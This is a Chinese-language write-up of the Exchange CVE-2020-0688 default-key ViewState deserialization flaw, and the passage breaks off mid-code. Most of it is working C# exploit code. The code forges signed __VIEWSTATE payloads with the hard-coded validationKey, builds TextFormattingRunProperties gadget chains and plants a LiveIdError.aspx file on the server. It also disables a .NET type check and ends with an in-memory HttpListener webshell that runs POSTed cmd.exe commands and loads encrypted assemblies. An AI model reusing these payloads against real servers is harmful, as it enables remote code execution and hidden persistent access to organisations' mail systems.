Exchange CVE-2020-0688漏洞分析和内存马注入
前言:Exchange CVE-2020-0688漏洞分析,这篇文章更多的是重复记录zcgonvh师傅的文章内容,主要是自己实践过一遍,最后再给大家实现下内存马注入方式
参考文章:https://www.cnblogs.com/zpchcbd/p/15112047.html
参考文章:https://www.anquanke.com/post/id/199921
CVE-2020-0688漏洞起因
分析之前稍微提及下这篇文章需要了解事先viewstate原理,这边可以参考下我自己写的笔记,地址在 https://www.cnblogs.com/zpchcbd/p/15112047.html
CVE-2020-0688是一个默认密钥导致的漏洞,由于ECP下的web.config的配置文件中存在默认密钥
配置文件存放在 %ExchangeInstallPath%\ClientAccess\ecp\web.config,可以看到其中默认的validationKey为CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF 。
验证默认密钥的正确性
这边先观察访问/ecp/default.aspx默认的__VIEWSTATE,结果为如下
因为这边validation签名算法为SHA1,所以这边拿到默认的__VIEWSTATE值要去除尾部的20个字节,验证代码如下所示
namespace TestViewState
{
public class Program
{
static void Main(string[] args)
{
//string base64String = "/wEPDwUKMjA5ODU3OTU1NmQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFGmZlZWRiYWNrQ3RybCRlbWFpbENoZWNrYm94O65Xyd/vkJALhIHUdi9cbtK8iJU="; // 要解码的base64字符串
//byte[] bytes = Convert.FromBase64String(base64String); // 解码base64字符串
//string hexString = BitConverter.ToString(bytes).Replace("-", ",0x"); // 转换为十六进制字符串
//Console.WriteLine(hexString); // 输出十六进制字符串
//byte[] data = GetViewState();
byte[] data = new byte[] { 0xFF, 0x01, 0x0F, 0x0F, 0x05, 0x0A, 0x32, 0x30, 0x39, 0x38, 0x35, 0x37, 0x39, 0x35, 0x35, 0x36, 0x64, 0x18, 0x01, 0x05, 0x1E, 0x5F, 0x5F, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x73, 0x52, 0x65, 0x71, 0x75, 0x69, 0x72, 0x65, 0x50, 0x6F, 0x73, 0x74, 0x42, 0x61, 0x63, 0x6B, 0x4B, 0x65, 0x79, 0x5F, 0x5F, 0x16, 0x01, 0x05, 0x1A, 0x66, 0x65, 0x65, 0x64, 0x62, 0x61, 0x63, 0x6B, 0x43, 0x74, 0x72, 0x6C, 0x24, 0x65, 0x6D, 0x61, 0x69, 0x6C, 0x43, 0x68, 0x65, 0x63, 0x6B, 0x62, 0x6F, 0x78 };
byte[] key = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF };
// clientId = hash(当前请求路径)+hash(当前请求文件名)
uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp") +
StringComparer.InvariantCultureIgnoreCase.GetHashCode("default_aspx"));
// MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId
byte[] _mackey = new byte[4];
_mackey[0] = (byte)_clientstateid;
_mackey[1] = (byte)(_clientstateid >> 8);
_mackey[2] = (byte)(_clientstateid >> 16);
_mackey[3] = (byte)(_clientstateid >> 24);
// 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE
MemoryStream ms = new MemoryStream();
ms.Write(data, 0, data.Length);
ms.Write(_mackey, 0, _mackey.Length);
byte[] hash = (new HMACSHA1(key)).ComputeHash(ms.ToArray());
ms = new MemoryStream();
ms.Write(data, 0, data.Length);
ms.Write(hash, 0, hash.Length);
Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2"));
Console.ReadKey();
}
}
}
如下图所示,通过对比发现程序生成的__VIEWSTATE并不和访问的/ecp/default.aspx中的__VIEWSTATE值相等
这边还可以看到__VIEWSTATEGENERATOR的值是B97B4E27跟程序生成的值是一样的
这种情况下的话就需要考虑是否收到了ViewStateUserKey的影响,因为在MacKeyModifier是受到了client_id + ViewStateUserKey(默认为空),但是ViewStateUserKey如果不是默认的话就会导致__VIEWSTATE值不一样
在exchange中的话ViewStateUserKey是受到了ASP.NET_SessionId影响,这边可以看到如果将ASP.NET_SessionId的值进行去除就会发现此时的__VIEWSTATE值就是跟程序中生成的值是一样的
CVE-2020-0688漏洞利用
这边生成TextFormattingRunProperties利用链来进行测试
ysoserial.exe -g TextFormattingRunProperties -c notepad -f binaryformatter
将上面生成的数据进行替换到
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization;
using System.Security.Cryptography;
using System.Web;
namespace TestViewState
{
public class Program
{
static byte[] GetViewState()
{
Test t = new Test(new Func<string, object>(Process.Start), "notepad");
string base64String = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAtgU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=="; // 要解码的base64字符串
byte[] data = Convert.FromBase64String(base64String); // 解码base64字符串
//byte[] data = Serialize(t);
MemoryStream ms = new MemoryStream();
// 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01
ms.WriteByte(0xff);
ms.WriteByte(0x01);
// 指定ObjectStateFormatter进行序列化,特征为0x32
ms.WriteByte(0x32);
uint num = (uint)data.Length;
// Value为带有7bit-encoded长度前缀,所以最大长度为0x80
while (num >= 0x80)
{
ms.WriteByte((byte)(num | 0x80));
num = num >> 0x7;
}
ms.WriteByte((byte)num);
ms.Write(data, 0, data.Length);
return ms.ToArray();
}
static void Main(string[] args)
{
byte[] data = GetViewState();
byte[] key = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF };
// clientId = hash(当前请求路径)+hash(当前请求文件名)
uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp") +
StringComparer.InvariantCultureIgnoreCase.GetHashCode("default_aspx"));
// MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId
byte[] _mackey = new byte[4];
_mackey[0] = (byte)_clientstateid;
_mackey[1] = (byte)(_clientstateid >> 8);
_mackey[2] = (byte)(_clientstateid >> 16);
_mackey[3] = (byte)(_clientstateid >> 24);
// 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE
MemoryStream ms = new MemoryStream();
ms.Write(data, 0, data.Length);
ms.Write(_mackey, 0, _mackey.Length);
byte[] hash = (new HMACSHA1(key)).ComputeHash(ms.ToArray());
ms = new MemoryStream();
ms.Write(data, 0, data.Length);
ms.Write(hash, 0, hash.Length);
Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2"));
Console.ReadKey();
}
}
}
结果如下图所示,可以看到命令执行成功了
上面的代码还可以写的比较优雅点,这边参考.net ysoserial中的写法,自定义一个TextFormattingRunPropertiesMarshal来进行序列化,重点是GetObjectData中进行SetType类型为TextFormattingRunProperties即可
注意:这边为什么用到ResourceDictionary呢?其实可以不用,你会发现在.net ysoerial中的TextFormattingRunPropertiesGenerator的代码中是没有用到ResourceDictionary的,这边测试命令执行可有可无,但是下面如果想要实现漏洞检测的话就需要用到ResourceDictionary,因为需要用到ObjectDataProvider多次调用静态资源,跟ActivitySurrogateDisableTypeCheck利用链的方式类似
namespace TestViewState
{
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { }
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(TextFormattingRunProperties));
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}
public class Program
{
static object Deserialize(byte[] b)
{
using (MemoryStream mem = new MemoryStream(b))
{
mem.Position = 0;
BinaryFormatter bf = new BinaryFormatter();
return bf.Deserialize(mem);
}
}
static byte[] Serialize(object obj)
{
using (MemoryStream mem = new MemoryStream())
{
BinaryFormatter bf = new BinaryFormatter();
bf.Serialize(mem, obj);
return mem.ToArray();
}
}
static byte[] GetViewState(byte[] data)
{
MemoryStream ms = new MemoryStream();
// 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01
ms.WriteByte(0xff);
ms.WriteByte(0x01);
// 指定ObjectStateFormatter进行序列化,特征为0x32
ms.WriteByte(0x32);
uint num = (uint)data.Length;
// Value为带有7bit-encoded长度前缀,所以最大长度为0x80
while (num >= 0x80)
{
ms.WriteByte((byte)(num | 0x80));
num = num >> 0x7;
}
ms.WriteByte((byte)num);
ms.Write(data, 0, data.Length);
return ms.ToArray();
}
static void Main(string[] args)
{
string xaml = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:System=""clr-namespace:System;assembly=mscorlib""
xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system"">
<ObjectDataProvider x:Key="""" ObjectType=""{x:Type Diag:Process}"" MethodName=""Start"" >
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>""/c notepad""</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";
byte[] data = GetViewState(Serialize(new TextFormattingRunPropertiesMarshal(xaml)));
byte[] key = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF };
// clientId = hash(当前请求路径)+hash(当前请求文件名)
uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp") +
StringComparer.InvariantCultureIgnoreCase.GetHashCode("default_aspx"));
// MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId
byte[] _mackey = new byte[4];
_mackey[0] = (byte)_clientstateid;
_mackey[1] = (byte)(_clientstateid >> 8);
_mackey[2] = (byte)(_clientstateid >> 16);
_mackey[3] = (byte)(_clientstateid >> 24);
// 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE
MemoryStream ms = new MemoryStream();
ms.Write(data, 0, data.Length);
ms.Write(_mackey, 0, _mackey.Length);
byte[] hash = (new HMACSHA1(key)).ComputeHash(ms.ToArray());
ms = new MemoryStream();
ms.Write(data, 0, data.Length);
ms.Write(hash, 0, hash.Length);
Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2"));
Console.ReadKey();
}
}
}
如下图所示,可以看到发送payload还是一样可以进行执行
CVE-2020-0688漏洞检测
上面的漏洞复现可以看到走的是TextFormattingRunProperties利用链,这边稍微的提下在ViewState反序列化中ObjectStateFormatter的反序列化,为什么还可以用BinaryFormatter生成的payload来进行反序列化呢?
如果大家跟过ObjectStateFormatter反序列化的过程的话就会发现在ObjectStateFormatter反序列化中实际上内部还是BinaryFormatter进行反序列化的。
这边想要检测是否存在CVE-2020-0688漏洞的话可以通过,xaml不光支持调用静态方法,同样支持获取静态属性、获取实例属性或调用实例方法。于是可以通过[System.Web]System.Web.HttpContext::Current
获取当前Http上下文,并对Response进行操作。
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:w="clr-namespace:System.Web;assembly=System.Web">
<ObjectDataProvider x:Key="a" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""></ObjectDataProvider>
<ObjectDataProvider x:Key="b" ObjectInstance="{StaticResource a}" MethodName="get_Response"></ObjectDataProvider>
<ObjectDataProvider x:Key="c" ObjectInstance="{StaticResource b}" MethodName="get_Headers"></ObjectDataProvider>
<ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="Add">
<ObjectDataProvider.MethodParameters>
<s:String>X-ZCG-TEST</s:String>
<s:String>CVE-2020-0688</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource b}" MethodName="End"></ObjectDataProvider>
</ResourceDictionary>
结果如下图所示,返回包中有对应指定的header字段头
Exchange中对ecp接口下面的路由都进行了重写,可以看到其中有一条是LiveIdError.aspx的条目,这个条目中的LiveIdError.aspx文件默认是不存在的
<add name="LiveIdErrorHandler" path="LiveIdError.aspx" verb="POST" type="System.Web.UI.PageHandlerFactory" preCondition="integratedMode" />
如果我们创建了一个LiveIdError.aspx,那么就同样可以用这个文件作为漏洞验证的点了
namespace TestViewState
{
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { }
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(TextFormattingRunProperties));
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}
public class Program
{
static object Deserialize(byte[] b)
{
using (MemoryStream mem = new MemoryStream(b))
{
mem.Position = 0;
BinaryFormatter bf = new BinaryFormatter();
return bf.Deserialize(mem);
}
}
static byte[] Serialize(object obj)
{
using (MemoryStream mem = new MemoryStream())
{
BinaryFormatter bf = new BinaryFormatter();
bf.Serialize(mem, obj);
return mem.ToArray();
}
}
static byte[] GetViewState(byte[] data)
{
MemoryStream ms = new MemoryStream();
// 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01
ms.WriteByte(0xff);
ms.WriteByte(0x01);
// 指定ObjectStateFormatter进行序列化,特征为0x32
ms.WriteByte(0x32);
uint num = (uint)data.Length;
// Value为带有7bit-encoded长度前缀,所以最大长度为0x80
while (num >= 0x80)
{
ms.WriteByte((byte)(num | 0x80));
num = num >> 0x7;
}
ms.WriteByte((byte)num);
ms.Write(data, 0, data.Length);
return ms.ToArray();
}
static void Main(string[] args)
{
string xaml = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:s=""clr-namespace:System;assembly=mscorlib""
xmlns:w=""clr-namespace:System.Web;assembly=System.Web"">
<s:String x:Key=""a"" x:FactoryMethod=""s:Environment.GetEnvironmentVariable"" x:Arguments=""ExchangeInstallPath""/>
<s:String x:Key=""b"" x:FactoryMethod=""Concat"">
<x:Arguments>
<StaticResource ResourceKey=""a""/>
<s:String>\ClientAccess\ecp\LiveIdError.aspx</s:String>
</x:Arguments>
</s:String>
<ObjectDataProvider x:Key=""x"" ObjectType=""{x:Type s:IO.File}"" MethodName=""AppendAllText"">
<ObjectDataProvider.MethodParameters>
<StaticResource ResourceKey=""b""/>
<s:String></s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key=""c"" ObjectInstance=""{x:Static w:HttpContext.Current}"" MethodName=""""/>
<ObjectDataProvider x:Key=""d"" ObjectInstance=""{StaticResource c}"" MethodName=""get_Response""/>
<ObjectDataProvider x:Key=""e"" ObjectInstance=""{StaticResource d}"" MethodName=""End""/>
</ResourceDictionary>";
byte[] data = GetViewState(Serialize(new TextFormattingRunPropertiesMarshal(xaml)));
byte[] key = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF };
// clientId = hash(当前请求路径)+hash(当前请求文件名)
uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp") +
StringComparer.InvariantCultureIgnoreCase.GetHashCode("LiveIdError_aspx"));
// MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId
byte[] _mackey = new byte[4];
_mackey[0] = (byte)_clientstateid;
_mackey[1] = (byte)(_clientstateid >> 8);
_mackey[2] = (byte)(_clientstateid >> 16);
_mackey[3] = (byte)(_clientstateid >> 24);
// 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE
MemoryStream ms = new MemoryStream();
ms.Write(data, 0, data.Length);
ms.Write(_mackey, 0, _mackey.Length);
byte[] hash = (new HMACSHA1(key)).ComputeHash(ms.ToArray());
ms = new MemoryStream();
ms.Write(data, 0, data.Length);
ms.Write(hash, 0, hash.Length);
Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2"));
Console.ReadKey();
}
}
}
将上面程序中生成的viewstate放到/ecp/default.aspx接口下进行访问,可以看到生成了一个LiveIdError.aspx文件
然后这边再将/ecp/LiveIdError.aspx作为后续的漏洞利用点即可
这边可能会有一个疑问,前面直接能在/ecp/default.aspx接口下进行反序列化利用,为什么还要再去创建一个/ecp/LiveIdError.aspx进行利用呢?
前面提到过exchange将/ecp接口下的路由都重写了,而LiveIdError.aspx走的是PageHandlerFactory并且支持POST操作,而POST操作的长度是不受到限制的(IIS默认的4M上限),对于执行命令并回显、读写文件、加载ShellCode和内存马注入这些操作是最适合的
<add name="LiveIdErrorHandler" path="LiveIdError.aspx" verb="POST" type="System.Web.UI.PageHandlerFactory" preCondition="integratedMode" />
这边除了LiveIdErrorHandler之外,下面的这些也是可以的,不过前提是不影响业务逻辑下来进行操作
到这里的话接下来就是对LiveIdError文件进行构造viewstate利用了
打一次命令执行的代码,这边通过命令csc /target:library /out:e.dll e.cs
来进行编译,如下图所示
E.cs
class E
{
public E()
{
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "calc";
process.Start();
} catch (System.Exception) {}
}
}
这边测试发包可以发现没有命令执行成功,结果如下图所示
这边的话先打一次disableActivitySurrogateSelectorTypeCheck,构造的代码如下所示
注:如果发现打不了的话可能目标版本是fx 4.8,还需要先构造一个ActivitySurrogateDisableTypeCheck先打一次
<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:s=""clr-namespace:System;assembly=mscorlib""
xmlns:c=""clr-namespace:System.Configuration;assembly=System.Configuration""
xmlns:r=""clr-namespace:System.Reflection;assembly=mscorlib"">
<ObjectDataProvider x:Key=""type"" ObjectType=""{x:Type s:Type}"" MethodName=""GetType"">
<ObjectDataProvider.MethodParameters>
<s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key=""field"" ObjectInstance=""{StaticResource type}"" MethodName=""GetField"">
<ObjectDataProvider.MethodParameters>
<s:String>disableActivitySurrogateSelectorTypeCheck</s:String>
<r:BindingFlags>40</r:BindingFlags>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key=""set"" ObjectInstance=""{StaticResource field}"" MethodName=""SetValue"">
<ObjectDataProvider.MethodParameters>
<s:Object/>
<s:Boolean>true</s:Boolean>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key=""setMethod"" ObjectInstance=""{x:Static c:ConfigurationManager.AppSettings}"" MethodName =""Set"">
<ObjectDataProvider.MethodParameters>
<s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String>
<s:String>true</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
上面构造的ActivitySurrogateDisableTypeCheck数据包发完之后继续发送命令执行的数据包,可以发现命令执行成功了,结果如下图所示
内存马注入
直接给代码了
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization;
using System.Security.Cryptography;
using Microsoft.VisualStudio.Text.Formatting;
using System.Web;
using Microsoft.CSharp;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.Collections;
using System.ComponentModel.Design;
using System.Reflection;
using System.Web.UI.WebControls;
using static System.Net.Mime.MediaTypeNames;
namespace TestViewState
{
public class CodeHelper
{
public static string get_memory_http_listenr_code(string key, string pass, string inject_path)
{
string code = $@"using System.Diagnostics;
using System.Text;
using System.IO;
using System.Net;
using System.Web;
using System;
using System.Collections.Generic;
using System.Collections;
using System.Threading;
public class SharpMemshell
{{
public SharpMemshell()
{{
HttpContext ctx = HttpContext.Current;
Thread Listen = new Thread(Listener);
Thread.Sleep(0);
Listen.Start(ctx);
}}
public static Dictionary<string, string> parse_post(HttpListenerRequest request)
{{
var post_raw_data = new StreamReader(request.InputStream, request.ContentEncoding).ReadToEnd();
Dictionary<string, string> postParams = new Dictionary<string, string>();
string[] rawParams = post_raw_data.Split('&');
foreach (string param in rawParams)
{{
string[] kvPair = param.Split('=');
string p_key = kvPair[0];
string value = HttpUtility.UrlDecode(kvPair[1]);
postParams.Add(p_key, value);
}}
return postParams;
}}
public static void SetRespHeader(HttpListenerResponse resp)
{{
resp.Headers.Set(HttpResponseHeader.Server, ""Microsoft-IIS/8.5"");
resp.Headers.Set(HttpResponseHeader.ContentType, ""text/html; charset=utf-8"");
resp.Headers.Add(""X-Powered-By"", ""ASP.NET"");
}}
public static void Listener(object ctx)
{{
HttpListener listener = new HttpListener();
try
{{
if (!HttpListener.IsSupported)
{{
return;
}}
string input_key = ""{key}"";
string pass = ""{pass}"";
string nodata = ""PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiJodHRwOi8vd3d3LnczLm9yZy9UUi9odG1sNC9zdHJpY3QuZHRkIj4NCjxIVE1MPjxIRUFEPjxUSVRMRT5Ob3QgRm91bmQ8L1RJVExFPg0KPE1FVEEgSFRUUC1FUVVJVj0iQ29udGVudC1UeXBlIiBDb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXMtYXNjaWkiPjwvSEVBRD4NCjxCT0RZPjxoMj5Ob3QgRm91bmQ8L2gyPg0KPGhyPjxwPkhUVFAgRXJyb3IgNDA0LiBUaGUgcmVxdWVzdGVkIHJlc291cmNlIGlzIG5vdCBmb3VuZC48L3A+DQo8L0JPRFk+PC9IVE1MPg0K"";
string url = ""https://*{inject_path}/"";
listener.Prefixes.Add(url);
listener.Start();
byte[] not_found = System.Convert.FromBase64String(nodata);
string key = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(input_key))).Replace(""-"", """").ToLower().Substring(0, 16);
string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace(""-"", """");
Dictionary<string, dynamic> sessiontDirectory = new Dictionary<string, dynamic>();
Hashtable sessionTable = new Hashtable();
while (true)
{{
HttpListenerContext context = listener.GetContext();
HttpListenerRequest request = context.Request;
HttpListenerResponse response = context.Response;
SetRespHeader(response);
Stream stm = null;
HttpContext httpContext;
try
{{
if (ctx != null)
{{
httpContext = ctx as HttpContext;
}}
else
{{
HttpRequest req = new HttpRequest("""", request.Url.ToString(), request.QueryString.ToString());
System.IO.StreamWriter writer = new System.IO.StreamWriter(response.OutputStream);
HttpResponse resp = new HttpResponse(writer);
httpContext = new HttpContext(req, resp);
}}
var method = request.Headers[""Type""];
if (method == ""print"")
{{
byte[] output = Encoding.UTF8.GetBytes(""OK"");
response.StatusCode = 200;
response.ContentLength64 = output.Length;
stm = response.OutputStream;
stm.Write(output, 0, output.Length);
stm.Close();
}}
else if (method == ""cmd"" && request.HttpMethod == ""POST"")
{{
Dictionary<string, string> postParams = parse_post(request);
Process p = new Process();
p.StartInfo.FileName = ""cmd.exe"";
p.StartInfo.Arguments = ""/c "" + postParams[pass];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
response.StatusCode = 200;
response.ContentLength64 = data.Length;
stm = response.OutputStream;
stm.Write(data, 0, data.Length);
}}
else if (method == ""mem_b64"" && request.HttpMethod == ""POST"")
{{
Dictionary<string, string> postParams = parse_post(request);
byte[] data = System.Convert.FromBase64String(postParams[pass]);
data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);
Cookie sessionCookie = request.Cookies[""ASP.NET_SessionId""];
if (sessionCookie == null)
{{
Guid sessionId = Guid.NewGuid();
var payload = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod(""Load"", new System.Type[] {{ typeof(byte[]) }}).Invoke(null, new object[] {{ data }});
sessiontDirectory.Add(sessionId.ToString(), payload);
response.SetCookie(new Cookie(""ASP.NET_SessionId"", sessionId.ToString()));
byte[] output = Encoding.UTF8.GetBytes("""");
response.StatusCode = 200;
response.ContentLength64 = output.Length;
stm = response.OutputStream;
stm.Write(output, 0, output.Length);
}}
else
{{
dynamic payload = sessiontDirectory[sessionCookie.Value];
MemoryStream outStream = new MemoryStream();
object o = ((System.Reflection.Assembly)payload).CreateInstance(""LY"");
o.Equals(outStream);
o.Equals(httpContext);
o.Equals(data);
o.ToString();
byte[] r = outStream.ToArray();
outStream.Dispose();
response.StatusCode = 200;
String new_data = md5.Substring(0, 16) + System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length)) + md5.Substring(16);
byte[] new_data_bytes = Encoding.ASCII.GetBytes(new_data);
response.ContentLength64 = new_data_bytes.Length;
stm = response.OutputStream;
stm.Write(new_data_bytes, 0, new_data_bytes.Length);
}}
}}
else if (method == ""mem_raw"" && request.HttpMethod == ""POST"" && request.HasEntityBody)
{{
int contentLength = int.Parse(request.Headers.Get(""Content-Length""));
byte[] array = new byte[contentLength];
request.InputStream.Read(array, 0, contentLength);
byte[] data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(array, 0, array.Length);
if (sessionTable[""payload""] == null)
{{
sessionTable[""payload""] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod(""Load"", new System.Type[] {{ typeof(byte[]) }}).Invoke(null, new object[] {{ data }});
}}
else
{{
